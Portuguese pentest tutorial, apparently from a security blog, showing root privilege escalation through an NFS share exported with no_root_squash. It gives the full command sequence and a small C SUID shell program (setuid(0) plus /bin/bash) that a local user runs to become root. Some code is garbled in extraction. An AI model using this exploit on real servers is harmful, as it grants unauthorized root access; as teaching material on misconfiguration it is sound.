É muito comum compartilharmos diretórios no Linux, porém temos que estar atentos as permissões que são atribuídas para evitar que um acesso indevido possa ser realizado e assim comprometer a segurança do servidor.
Este é apenas um dos exemplos do que já encontrei durante a realização de PenTest em diversos cenários.
100SECURITY - 192.168.0.53 - Host do Atacante
docker - 192.168.0.111 - Servidor que possui o diretório 'arquivos' compartilhado
No servidor docker, logue com um usuário comum no meu exemplo utilizei o : 100security , em seguida visualize o conteúdo do arquivo /etc/exports .
Linuxcat /etc/exports # Shares /arquivos *(rw,sync,insecure,no_root_squash,no_sutree_check)
No host do Atacante execute o comando para exibir o ponto de montagem do servidor docker.
Linuxshowmount -e 192.168.0.111
Ainda no host do Atacante crie um diretório para realizar o ponto de montagem e liste o conteúdo.
Linuxmkdir share-remoto mount -o rw 192.168.0.111:/arquivos /share-remoto/ cd /share-remoto/ ls -l
Crie o arquivo shell.c com o conteúdo abaixo :
Linuxcat << EOF >> shell.c > #include> #include > #include > #include > int main() > { > setuid(0); > system("/bin/bash"); > return 0; > } > EOF
Em seguida compile o arquivo shell.c e atribua a propriedade de SUID (Set User ID) no arquivo compilado : shell, em seguida liste o conteúdo do diretório utilizando : ls -la
Linuxgcc shell.c -o shell chmod +s shell ls -la
Retorne ao servidor docker ainda logado com o Usuário Comum e execute o script shell para escalar o privilégio.
Linuxcd arquivos/ ./shell whoami